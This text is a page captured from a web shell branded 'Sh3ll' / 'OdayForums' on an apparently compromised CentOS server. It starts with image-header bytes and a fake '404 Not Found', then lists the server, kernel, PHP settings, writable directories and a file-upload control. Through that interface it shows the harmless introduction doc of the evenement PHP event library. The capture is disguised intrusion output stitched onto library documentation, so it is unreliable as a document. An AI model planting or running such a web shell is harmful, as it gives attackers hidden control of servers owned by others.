����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/trader/vendor/evenement/evenement/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/trader/vendor/evenement/evenement/doc/00-intro.md
# Introduction

Événement is is French and means "event". The événement library aims to
provide a simple way of subscribing to events and notifying those subscribers
whenever an event occurs.

The API that it exposes is almost a direct port of the EventEmitter API found
in node.js. It also includes an "EventEmitter". There are some minor
differences however.

The EventEmitter is an implementation of the publish-subscribe pattern, which
is a generalized version of the observer pattern. The observer pattern
specifies an observable subject, which observers can register themselves to.
Once something interesting happens, the subject notifies its observers.

Pub/sub takes the same idea but encapsulates the observation logic inside a
separate object which manages all of its subscribers or listeners. Subscribers
are bound to an event name, and will only receive notifications of the events
they subscribed to.

**TLDR: What does evenement do, in short? It provides a mapping from event
names to a list of listener functions and triggers each listener for a given
event when it is emitted.**

Why do we do this, you ask? To achieve decoupling.

It allows you to design a system where the core will emit events, and modules
are able to subscribe to these events. And respond to them.

ZeroDay Forums Mini